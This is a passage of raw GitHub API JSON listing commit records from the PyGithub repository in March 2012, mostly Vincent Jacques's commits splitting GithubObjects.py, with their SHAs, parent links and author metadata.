Jacques","date":"2012-03-14T15:07:21-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/e2cd74e9c3cf6ff69da96f8fad7e1e4120db56fb","sha":"e2cd74e9c3cf6ff69da96f8fad7e1e4120db56fb"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/69cc298fd159f19eb204dd09f17d31dc4abc3d41","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"69cc298fd159f19eb204dd09f17d31dc4abc3d41","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/85eef756353e13efcb24c726320cd2617c2a7bd8","sha":"85eef756353e13efcb24c726320cd2617c2a7bd8"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-14T14:55:06-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/69cc298fd159f19eb204dd09f17d31dc4abc3d41","message":"Make sure only three class definitions are distributed","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-14T14:56:12-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/a1d3e1193b5eeb668b0a9e4ec0286adeee2bfc98","sha":"a1d3e1193b5eeb668b0a9e4ec0286adeee2bfc98"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/85eef756353e13efcb24c726320cd2617c2a7bd8","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"85eef756353e13efcb24c726320cd2617c2a7bd8","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/50ac55b25ceba555b84709839f80447552450697","sha":"50ac55b25ceba555b84709839f80447552450697"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-14T14:31:32-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/85eef756353e13efcb24c726320cd2617c2a7bd8","message":"Move classes around","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-14T14:56:08-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/b0eadbf0e94e5098c5e4324f92e1546b3fe97ae2","sha":"b0eadbf0e94e5098c5e4324f92e1546b3fe97ae2"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/50ac55b25ceba555b84709839f80447552450697","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"50ac55b25ceba555b84709839f80447552450697","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/58b4396aa0e7cb72911b75cb035798143a06e0ee","sha":"58b4396aa0e7cb72911b75cb035798143a06e0ee"},{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/767d75a580279e457f9bc52bc308a17ff8ea0509","sha":"767d75a580279e457f9bc52bc308a17ff8ea0509"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T12:26:20-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/50ac55b25ceba555b84709839f80447552450697","message":"Merge branch 'topic/SplitGithubObjects' into develop","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T12:26:20-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/9541dc30b6f7eb32a0eeb99661974efc2bc2b2e0","sha":"9541dc30b6f7eb32a0eeb99661974efc2bc2b2e0"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/767d75a580279e457f9bc52bc308a17ff8ea0509","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"767d75a580279e457f9bc52bc308a17ff8ea0509","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/75e72ffa3066693291f7da03070666e8f885097a","sha":"75e72ffa3066693291f7da03070666e8f885097a"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T12:24:39-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/767d75a580279e457f9bc52bc308a17ff8ea0509","message":"Spliting GithubObjects.py","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T12:24:39-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/9541dc30b6f7eb32a0eeb99661974efc2bc2b2e0","sha":"9541dc30b6f7eb32a0eeb99661974efc2bc2b2e0"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/75e72ffa3066693291f7da03070666e8f885097a","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"75e72ffa3066693291f7da03070666e8f885097a","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/504047e218e6b34a3828ccc408431634f17b9504","sha":"504047e218e6b34a3828ccc408431634f17b9504"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T12:23:47-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/75e72ffa3066693291f7da03070666e8f885097a","message":"Spliting GithubObjects.py","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T12:23:47-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/ef565463ba492225543f538ddc2ac31d93301a3e","sha":"ef565463ba492225543f538ddc2ac31d93301a3e"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/504047e218e6b34a3828ccc408431634f17b9504","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"504047e218e6b34a3828ccc408431634f17b9504","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/960db1d5c9853e9f5fbbc9237c2c166ceef1f080","sha":"960db1d5c9853e9f5fbbc9237c2c166ceef1f080"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T12:19:54-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/504047e218e6b34a3828ccc408431634f17b9504","message":"Spliting GithubObjects.py","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T12:19:54-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/64a98d6a5045debec1ab928d49989c7f0f666be2","sha":"64a98d6a5045debec1ab928d49989c7f0f666be2"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/960db1d5c9853e9f5fbbc9237c2c166ceef1f080","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"960db1d5c9853e9f5fbbc9237c2c166ceef1f080","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/877dde23e140bbf038f9a2d8f0f07b4e3a965c61","sha":"877dde23e140bbf038f9a2d8f0f07b4e3a965c61"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T12:18:02-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/960db1d5c9853e9f5fbbc9237c2c166ceef1f080","message":"Spliting GithubObjects.py","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T12:18:02-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/b16b7a597ab3aa1876b1797426367114d4421642","sha":"b16b7a597ab3aa1876b1797426367114d4421642"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/877dde23e140bbf038f9a2d8f0f07b4e3a965c61","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"877dde23e140bbf038f9a2d8f0f07b4e3a965c61","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1c95ddfa09ec0aa1f07ee9ad50a77be1dd74b55e","sha":"1c95ddfa09ec0aa1f07ee9ad50a77be1dd74b55e"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T12:13:04-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/877dde23e140bbf038f9a2d8f0f07b4e3a965c61","message":"Spliting GithubObjects.py","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T12:13:04-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/307d8dc221f2a6097a520636f60238621e966f58","sha":"307d8dc221f2a6097a520636f60238621e966f58"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/1c95ddfa09ec0aa1f07ee9ad50a77be1dd74b55e","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"1c95ddfa09ec0aa1f07ee9ad50a77be1dd74b55e","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/99564c1cab139d1e4678f5f83f60d26f1210db7e","sha":"99564c1cab139d1e4678f5f83f60d26f1210db7e"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T12:11:37-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/1c95ddfa09ec0aa1f07ee9ad50a77be1dd74b55e","message":"Spliting GithubObjects.py","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T12:11:37-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/26e23b86645628acb3f1764e8d81a213b9f3443f","sha":"26e23b86645628acb3f1764e8d81a213b9f3443f"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/99564c1cab139d1e4678f5f83f60d26f1210db7e","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"99564c1cab139d1e4678f5f83f60d26f1210db7e","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/231926207709ceaa61e87b64e34e17d85adecd9c","sha":"231926207709ceaa61e87b64e34e17d85adecd9c"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T12:04:42-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/99564c1cab139d1e4678f5f83f60d26f1210db7e","message":"Spliting GithubObjects.py","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T12:04:42-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/2824e5fdbb2811bb05eab1a225a9e64d4974b880","sha":"2824e5fdbb2811bb05eab1a225a9e64d4974b880"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/231926207709ceaa61e87b64e34e17d85adecd9c","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"231926207709ceaa61e87b64e34e17d85adecd9c","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/fb722625dddb9a32f75190723f7da12683b7c4b2","sha":"fb722625dddb9a32f75190723f7da12683b7c4b2"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T12:01:07-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/231926207709ceaa61e87b64e34e17d85adecd9c","message":"Spliting GithubObjects.py","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T12:01:07-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/54f99bd97e9223673a5947bdb8bd8dcafd9878d8","sha":"54f99bd97e9223673a5947bdb8bd8dcafd9878d8"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/fb722625dddb9a32f75190723f7da12683b7c4b2","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"fb722625dddb9a32f75190723f7da12683b7c4b2","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/cab9d71603e127bdd1f600a759dccea1781fa1ab","sha":"cab9d71603e127bdd1f600a759dccea1781fa1ab"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T11:59:48-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/fb722625dddb9a32f75190723f7da12683b7c4b2","message":"Spliting GithubObjects.py","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T11:59:48-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/bd492ae3de0943fa17cf91c3840361855b38814d","sha":"bd492ae3de0943fa17cf91c3840361855b38814d"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/cab9d71603e127bdd1f600a759dccea1781fa1ab","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"cab9d71603e127bdd1f600a759dccea1781fa1ab","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e648e5aeb5edc1fbf83e9d37d2a3cb57c005019a","sha":"e648e5aeb5edc1fbf83e9d37d2a3cb57c005019a"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T11:42:20-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/cab9d71603e127bdd1f600a759dccea1781fa1ab","message":"Spliting GithubObjects.py","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T11:42:20-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/3a4160a7930e855165662640ab9ac0b284930602","sha":"3a4160a7930e855165662640ab9ac0b284930602"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/e648e5aeb5edc1fbf83e9d37d2a3cb57c005019a","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"e648e5aeb5edc1fbf83e9d37d2a3cb57c005019a","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4a5cf98e7f959f1b5d9af484760c25cd27d9180d","sha":"4a5cf98e7f959f1b5d9af484760c25cd27d9180d"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T11:40:44-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/e648e5aeb5edc1fbf83e9d37d2a3cb57c005019a","message":"Spliting GithubObjects.py","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T11:40:44-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/860a56be6edc3335b3f1d7c05163ce6c88d86d97","sha":"860a56be6edc3335b3f1d7c05163ce6c88d86d97"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/4a5cf98e7f959f1b5d9af484760c25cd27d9180d","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"4a5cf98e7f959f1b5d9af484760c25cd27d9180d","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5d1add448e0b0b1dadb8c6094a9e5e19b255f67e","sha":"5d1add448e0b0b1dadb8c6094a9e5e19b255f67e"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T11:37:23-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/4a5cf98e7f959f1b5d9af484760c25cd27d9180d","message":"Spliting GithubObjects.py","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T11:37:23-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/27c76f8754af9bfc0bd2f285a9034a2a267f3f6b","sha":"27c76f8754af9bfc0bd2f285a9034a2a267f3f6b"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/5d1add448e0b0b1dadb8c6094a9e5e19b255f67e","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"5d1add448e0b0b1dadb8c6094a9e5e19b255f67e","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0d9fc99a4b5d1ec6473c9c81c888917c132ffa65","sha":"0d9fc99a4b5d1ec6473c9c81c888917c132ffa65"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T11:36:15-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/5d1add448e0b0b1dadb8c6094a9e5e19b255f67e","message":"Spliting GithubObjects.py","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T11:36:15-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/c220b5fe6708feed4646e08f66cbd191d3074318","sha":"c220b5fe6708feed4646e08f66cbd191d3074318"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/0d9fc99a4b5d1ec6473c9c81c888917c132ffa65","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"0d9fc99a4b5d1ec6473c9c81c888917c132ffa65","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/b56aa09011378b014221f86dffb8304957a9e6bd","sha":"b56aa09011378b014221f86dffb8304957a9e6bd"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T11:35:28-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/0d9fc99a4b5d1ec6473c9c81c888917c132ffa65","message":"Spliting GithubObjects.py","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T11:35:28-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/df0cf9d9d9db0389f96d0448baaea45528983486","sha":"df0cf9d9d9db0389f96d0448baaea45528983486"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/b56aa09011378b014221f86dffb8304957a9e6bd","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"b56aa09011378b014221f86dffb8304957a9e6bd","parents":[{"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/3e8169c0a98ce1e2c6a32ae1256ae0f735065df5","sha":"3e8169c0a98ce1e2c6a32ae1256ae0f735065df5"}],"commit":{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T11:26:13-07:00"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/b56aa09011378b014221f86dffb8304957a9e6bd","message":"Spliting GithubObjects.py","committer":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques","date":"2012-03-13T11:26:13-07:00"},"tree":{"url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/5683cd9759e70f12141fb579a729e1c5d72256ad","sha":"5683cd9759e70f12141fb579a729e1c5d72256ad"}}},{"author":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/3e8169c0a98ce1e2c6a32ae1256ae0f735065df5","committer":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"sha":"3e8169c0a98ce1e2c6a32ae1256ae0f735065df5","parents":[{"url":"https://api.github.com/repos/PyGith